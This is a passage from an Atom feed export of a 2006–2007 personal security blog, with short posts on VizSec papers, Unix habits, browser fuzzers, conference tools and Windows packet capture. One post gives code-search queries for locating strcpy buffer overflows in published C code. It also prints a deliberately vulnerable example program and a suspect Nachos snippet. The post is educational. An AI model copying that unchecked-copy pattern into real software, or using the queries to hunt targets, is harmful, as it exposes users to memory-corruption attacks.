href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/vizsec19.pdf"&gt;[whitepaper]&lt;/a&gt; &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/paper19.ppt"&gt;[presentation]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="quote"&gt;"Real-Time Collaborative Network Monitoring and Control Using 3D Game Engines for Representation and Interaction" &lt;/div&gt;&lt;br /&gt;- Warren Harrop and Grenville Armitage &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/vizsec05.pdf"&gt;[whitepaper]&lt;/a&gt; &lt;a href="http://www.projects.ncassr.org/sift/vizsec/vizsec06/program/paper05.pdf"&gt;[presentation]&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5059099876088646505?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/5059099876088646505/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=5059099876088646505' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5059099876088646505'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5059099876088646505'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/01/moab-mokb.html' title='MOAB / MOKB / VIZSEC &apos;06'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-6352066628598578213</id><published>2006-12-18T15:53:00.000Z</published><updated>2007-03-13T14:58:06.606Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>Adopting 10 good habits of Unix Scripting</title><content type='html'>I saw this on a quick fleeting moment on slash.dot .. It covers many things that I have done in the past.. &lt;br /&gt;  &lt;ol&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#one"&gt;Make directory trees in a single swipe&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#two"&gt;Change the path; do not move the archive&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#three"&gt;Combine your commands with control operators&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#four"&gt;Quote variables with caution&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#five"&gt;Use escape sequences to manage long input&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#six"&gt;Group your commands together in a list&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#seven"&gt;Use &lt;code&gt;xargs&lt;/code&gt; outside of &lt;code&gt;find&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#eight"&gt;Know when &lt;code&gt;grep&lt;/code&gt; should do the counting -- and when it should step aside&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#nine"&gt;Match certain fields in output, not just lines&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;a href="http://www-128.ibm.com/developerworks/aix/library/au-badunixhabits.html?ca=lnxw01GoodUnixHabits#ten"&gt;Stop piping &lt;code&gt;cat&lt;/code&gt;s&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;  &lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-6352066628598578213?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/6352066628598578213/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=6352066628598578213' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6352066628598578213'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/6352066628598578213'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/12/adopting-10-good-habits-of-unix.html' title='Adopting 10 good habits of Unix Scripting'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-7676410974336122043</id><published>2006-11-20T18:53:00.000Z</published><updated>2007-03-13T14:55:54.558Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbs'/><category scheme='http://www.blogger.com/atom/ns#' term='event-viewer'/><title type='text'>Command Line Event Viewer</title><content type='html'>Every once in while microsoft does something correctly.. Found the command line event viewer.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;h3&gt;Using command-line tools to manage events and event logs&lt;/h3&gt;&lt;p&gt;You can also use command-line utilities to create and query event logs and associate programs with particular logged events. For example, you can use &lt;a target="_self" href="http://technet2.microsoft.com/WindowsServer/en/library/7091b848-90c3-4924-a26d-92494daac4621033.mspx" logredir="CTT=InContent"&gt;Eventcreate&lt;/a&gt;&lt;span id="EEC"&gt;&lt;/span&gt; to customize an event entry to a specified event log. &lt;a target="_self" href="http://technet2.microsoft.com/WindowsServer/en/library/68672494-7700-4cbf-8392-4b6ef87b87491033.mspx" logredir="CTT=InContent"&gt;Eventquery.vbs&lt;/a&gt;&lt;span id="EJC"&gt;&lt;/span&gt; is used to list the events and event properties from one or more event logs. &lt;a target="_self" href="http://technet2.microsoft.com/WindowsServer/en/library/e33bcf4c-dece-4b47-9bb7-31ecfcbc76d51033.mspx" logredir="CTT=InContent"&gt;Eventtriggers&lt;/a&gt;&lt;span id="EOC"&gt;&lt;/span&gt; enables you to create event triggers that will run programs upon the occurrence of specific events. &lt;/p&gt; &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-7676410974336122043?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/7676410974336122043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=7676410974336122043' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/7676410974336122043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/7676410974336122043'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/11/command-line-event-viewer.html' title='Command Line Event Viewer'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-1147626680946363480</id><published>2006-11-19T01:02:00.000Z</published><updated>2007-03-13T14:57:14.201Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='strcpy'/><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Codesearch - Finding Vulns</title><content type='html'>Google Codesearch is a newer item in the google lab (Early October ). I like the functionality, but making all the code searchable will always find the bodies in the closet that not everyone wants to see.. The Google hacking database GHDB has been talking about it for awhile along with other noteable persons in the field.. just wondering if ISC/DSHIELD was interested in the topic for discussion..&lt;br /&gt;&lt;br /&gt;The Search:&lt;a href="http://www.google.com/codesearch"&gt;&lt;br /&gt;http://www.google.com/codesearch&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Simple Buffer Overflows&lt;br /&gt;Link: &lt;a href="http://en.wikipedia.org/wiki/Buffer_overflow"&gt;wikipedia Buffer_overflow&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;Search&lt;br /&gt;lang:"c" strcpy buffer argv&lt;br /&gt;&lt;br /&gt;or simply&lt;br /&gt;&lt;br /&gt;buffer "should be big enough"&lt;br /&gt;&lt;br /&gt;Using Google Code Search:&lt;br /&gt;&lt;br /&gt;Found Examples of InSecure (Purposeful) Coding..&lt;a href="http://www.google.com/codesearch?q=+lang:%22c%22+strcpy+buffer+argv+show:gnskFf-Zz0o:sJdlJEEazGE:omsaCQLD1mk&amp;sa=N&amp;cd=7&amp;ct=rc&amp;cs_p=http://www.security-labs.org/Download/secprog.tgz&amp;cs_f=SecProg/BufferOverflow/src/vuln.c#a0"&gt;Google Code Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;/* vuln.c */&lt;br /&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char * argv [])&lt;br /&gt;{&lt;br /&gt;  char buffer [500];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  if (argc &gt; 1)&lt;br /&gt;    strcpy(buffer, argv[1]);&lt;br /&gt;  return (0);&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Finding Examples of correct implentation..&lt;a href="http://www.google.com/codesearch?q=+lang:%22c%22+strcpy+char%5C%5B%5B0-9%5D+argv+show:O2qTE9aUvis:m50RfEvOnrI:2XTTnzf9ZAE&amp;sa=N&amp;cd=10&amp;ct=rc&amp;cs_p=http://mirror.anl.gov/pub/pvfs/alpha/pvfs-kernel-1.5.5-pre2.tgz&amp;cs_f=pvfs-kernel-1.5.5-pre2/mount.pvfs.c#a0"&gt;Google  Code Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;*hostdir = malloc(sizeof(char[strlen(argv[1])+1]));&lt;br /&gt;&lt;br /&gt;/* separate hostname and dirname from 'hostname:dirname' format */&lt;br /&gt;&lt;br /&gt;strcpy(hostdir, argv[1]);&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Possible Example of Real Vulnerability Finding... in Nachos Example Operating System&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;#ifdef DEBUG&lt;br /&gt;int main (int argc, char *&lt;br /&gt;argv[]) {&lt;br /&gt;  char buffer[80];&lt;br /&gt;  printf ("string = %s.\n", strcpy (buffer, argv&lt;br /&gt;[1]));&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Link:&lt;a href="http://www.google.com/codesearch?q=+lang:%22c%22+strcpy+buffer+argv+show:x7E87RV2LL0:muLF4SNldm0:FRftK9o0VG0&amp;sa=N&amp;cd=3&amp;ct=rc&amp;cs_p=http://hegel.ittc.ku.edu/projects/nachos/remote-debugging/nachos-gdb.tar.gz&amp;cs_f=nachos/lib/strcpy.c#a0"&gt;Google Code Search&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Site:&lt;a href="http://www.cs.rochester.edu/~kshen/csc256-spring2006/assignments/nachos.html"&gt;Nachos URL&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-1147626680946363480?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/1147626680946363480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=1147626680946363480' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1147626680946363480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1147626680946363480'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/11/google-codesearch-finding-vulns.html' title='Google Codesearch - Finding Vulns'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-2484231733872663674</id><published>2006-11-15T19:37:00.000Z</published><updated>2007-03-13T14:52:19.173Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='cese'/><category scheme='http://www.blogger.com/atom/ns#' term='combined exploit search engine'/><title type='text'>Combined Exploit Search Engine</title><content type='html'>&lt;a href="http://photos1.blogger.com/blogger2/7611/3224/1600/CESE.png" title="Combined Exploit Search Engine" class="thickbox"&gt;&lt;img src="http://photos1.blogger.com/blogger2/7611/3224/320/CESE.png" alt="Single Image"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.com/coop/cse?cx=010963696833308899248%3Auc1jr9v3plm"&gt;Combined Exploit Search Engine&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tweaked the Google Engine to include 150+ security websites from all over the globe.&lt;br /&gt;&lt;br /&gt;Please join and collaborate.&lt;br /&gt;&lt;br /&gt;Google Co-op release a couple weeks ago allows customization of the google engine..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-2484231733872663674?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/2484231733872663674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=2484231733872663674' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/2484231733872663674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/2484231733872663674'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/11/combine-exploit-search-enigine.html' title='Combined Exploit Search Engine'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-115738692723547367</id><published>2006-09-04T16:16:00.000Z</published><updated>2007-03-13T14:53:20.005Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='win32ole'/><category scheme='http://www.blogger.com/atom/ns#' term='excel'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='cvs'/><title type='text'>XML to CSV transformation</title><content type='html'>Eh.. well since I was playing with new requirements.. (means new languages.. ruby)&lt;br /&gt;I ended up coming up with a simple transformation of XML to CSV for data normalization.&lt;br /&gt;I found this to be useful with "nmap -oX xmlout.xml" output switch&lt;br /&gt;Anyway long story short here is the quick and dirty.&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;# RUBY use of WIN32OLE&lt;br /&gt;# &lt;a href=http://homepage1.nifty.com/markey/ruby/win32ole/win32ole_qa_ja.html&gt;Win32 OLE Q&amp;A&lt;/a&gt; &amp; &lt;a href=http://www.ruby-doc.org/stdlib/libdoc/win32ole/rdoc/index.html&gt;Ruby stddoc&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;require 'win32ole'&lt;br /&gt;&lt;br /&gt;excel = WIN32OLE.new('Excel.Application')&lt;br /&gt;   #excel['Visible'] = true&lt;br /&gt;   excel.workbooks.openxml({'Filename'=&gt;'F:\xml_out.xml', 'LoadOption'=&gt;2})&lt;br /&gt;   excel.ActiveWorkbook.SaveAs({'Filename'=&gt;'F:\csv_in.csv','FileFormat'=&gt;24, 'CreateBackup'=&gt;'False'})&lt;br /&gt;   excel.quit&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-115738692723547367?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/115738692723547367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=115738692723547367' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115738692723547367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115738692723547367'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/09/xml-to-csv-transformation.html' title='XML to CSV transformation'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-115283935076418399</id><published>2006-07-14T01:00:00.000Z</published><updated>2006-11-15T19:10:10.914Z</updated><title type='text'>Python and Dabo</title><content type='html'>Since being pushed into Core (Impact), I've started to really dive in to some python coding.. To my total suprise there is a really great project in python called &lt;a href="http://dabodev.com/"&gt;DABO&lt;/a&gt;! It is framework for GUI, database, and report generation. It would be nice to wrap a number of cli tools into a db based open source reporting tool. Wikto which is horrible at best for a gui, seems to be one of the wrap up tools in the win32 enviroment. I suppose that good wrapping (like the old cheops-ng) is inorder.. and to make it cross platform (thanks python wxpython) with professional output. Lets all start the integration engine... count down.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-115283935076418399?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/115283935076418399/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=115283935076418399' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115283935076418399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115283935076418399'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/07/python-and-dabo.html' title='Python and Dabo'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-115281537227359609</id><published>2006-07-13T18:03:00.000Z</published><updated>2007-03-12T18:27:38.724Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='dhtml'/><category scheme='http://www.blogger.com/atom/ns#' term='monthof'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>hdm - MOBB bug releases</title><content type='html'>&lt;a href="http://browserfun.blogspot.com/"&gt;[[hdm]]&lt;/a&gt; has been releasing a number browser bugs this month named MOBB(month of browser bugs). He was able to find these by running different browsers through DOM /CSS / and DHTML fuzzers in an attempt to crash the engines and other ways.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://metasploit.com/users/hdm/tools/hamachi/hamachi.html"&gt;Hamachi&lt;/a&gt; - DHTML fuzzer that recursively calls XMLHTTP in an attempt to iterate through arrays of possible DHTML element properties. It attempts format string vulnerabilities, long file paths, long urls, and difficult integer injection.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://metasploit.com/users/hdm/tools/see-ess-ess-die/cssdie.html"&gt;CSS-Die&lt;/a&gt; - CSSDIE looks for common CSS1/CSS2/CSS3 implementation flaws by specifying common bad values for style values. This is similiar to Hamachi in that it performs format string vulnerabilities, long file paths, long urls, and difficult integer injection.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://metasploit.com/users/hdm/tools/domhanoi/domhanoi.html"&gt;DOM-Hanoi&lt;/a&gt; -  DOM-Hanoi looks for common DHTML implementation flaws by adding/removing DOM elements. This is done through obj.appendChild and obj.removeChild methods. &lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://lcamtuf.coredump.cx/mangleme/mangle.cgi"&gt;MangleMe&lt;/a&gt; - Mangleme sends format string vulnerabilities, bad characters, malformed javascript &amp; applet requests, long urls, load requests with junk.  &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Most of his scripts have been attempting to locate vulnerabilities in the following browsers...&lt;br /&gt;&lt;strong&gt;konqueror, safari, omniweb, opera, webTV, icab, ie6, mozilla&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-115281537227359609?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/115281537227359609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=115281537227359609' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115281537227359609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115281537227359609'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/07/hdm-mobb-bug-releases.html' title='hdm - MOBB bug releases'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-115273914946030198</id><published>2006-07-12T20:30:00.000Z</published><updated>2007-03-13T14:55:04.838Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='sans'/><title type='text'>SANSFIRE 2006</title><content type='html'>&lt;a href="http://www.sans.org/sansfire06/"&gt;&lt;img style="FLOAT: right; MARGIN: 0px 0px 10px 10px; CURSOR: hand;" alt="" src="http://shadowbq.googlepages.com/sansfire_2006.gif" border="0" /&gt;&lt;/a&gt; Just got back from SANSFIRE 2006.. Enjoyed the challenge of learning a bunch of new stuff from the instructors there. Lets see.. couple topics of interest..&lt;br /&gt;&lt;br /&gt;&lt;a href="http://support.microsoft.com/Default.aspx?kbid=892853"&gt;WMI Promqry &amp;amp; Promqryui&lt;/a&gt;&lt;br /&gt;-- wow windows actually has something of interest.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.spycar.org/Welcome%20to%20Spycar.html"&gt;Spycar&lt;/a&gt;&lt;br /&gt;-- IE browser malware checks&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/community/columns/cableguy/cg0104.mspx#EKDAC"&gt;netstat (win32 xpsp2/2003)&lt;/a&gt;-- netstat -naob (shows dll linkage during mapping of executables/ports)&lt;br /&gt;the -b switch adds some more interesting items.. but its slow... slow.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project"&gt;webgoat&lt;/a&gt;-- OWASP super buggy web-app for teaching secure coding.&lt;br /&gt;&lt;br /&gt;Some how missed a few other tools this year such as wellenrieter, macshift, bidiblah, and nohup.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-115273914946030198?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/115273914946030198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=115273914946030198' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115273914946030198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/115273914946030198'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2006/07/sansfire-2006.html' title='SANSFIRE 2006'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-115126741079952646</id><published>2006-06-25T20:08:00.000Z</published><updated>2007-03-12T15:26:49.666Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbs'/><category scheme='http://www.blogger.com/atom/ns#' term='pcap_adapter.vbs'/><category scheme='http://www.blogger.com/atom/ns#' term='pcap'/><category scheme='http://www.blogger.com/atom/ns#' term='windump'/><title type='text'>windump - finding the pcap device mapping</title><content type='html'>Looking at windump,( yeah.. for some reason I am currently sniffing in a windows enviroment) I was having a tough time locating the correct procedures for finding the capture device. I know that the devices can be located via the drop selection in Ethereal (WireShark June '06), but finding it from the command line provided to be difficult, especially via remote executions.&lt;br /&gt;&lt;br /&gt;Why not use "windump -D", well.. I wanted to know the mappings of Local Area Connection. This script also allows for you parse its output encase you wanted to use it in conjunction with other remote execution methods such as wmic!&lt;br /&gt;&lt;br /&gt;I have a quick vbs script that can read the registry and I've located a fairly easy lookup method.&lt;br /&gt;&lt;br /&gt;Finding the Device from Regedit:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;HKLM\SYSTEM\CurrentControlSet\Control\Network\&lt;/li&gt;&lt;li&gt;Identify the &lt;span style="font-weight: bold;"&gt;Key&lt;/span&gt; set with the &lt;span style="font-weight: bold;"&gt;Value&lt;/span&gt; "{Default}" containing &lt;span style="font-weight: bold;"&gt;Data&lt;/span&gt; "Network Adapters    "&lt;/li&gt;&lt;li&gt;Search the listed Adapter for the &lt;span style="font-weight: bold;"&gt;Value&lt;/span&gt; Name containing the &lt;span style="font-weight: bold;"&gt;Data&lt;/span&gt; "Local Area Connection"&lt;/li&gt;&lt;li&gt;The &lt;span style="font-weight: bold;"&gt;Key&lt;/span&gt; value that contains "Local Area Connection" is the reference to the physical device identifier&lt;/li&gt;&lt;li&gt;Pre-append "\Device\NPF_" to the &lt;span style="font-weight: bold;"&gt;Key&lt;/span&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Example: &lt;/span&gt;\Device\NPF_{95007697-9E3B-41C0-9732-19063EBA4376}&lt;/li&gt;&lt;li&gt;From this key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet \Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318} \{95007697-9E3B-41C0-9732-19063EBA4376}&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;This can be customized for running from any named connection identified from&lt;/li&gt;&lt;ol&gt;&lt;li&gt;ipconfig /all&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;Download &lt;a href="http://shadowbq.googlepages.com/pcap_adapter.vbs"&gt;pcap_adapter.vbs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Example Comparision using search for "local"&lt;br /&gt;&lt;div id="code"&gt;C:\&gt;cscript 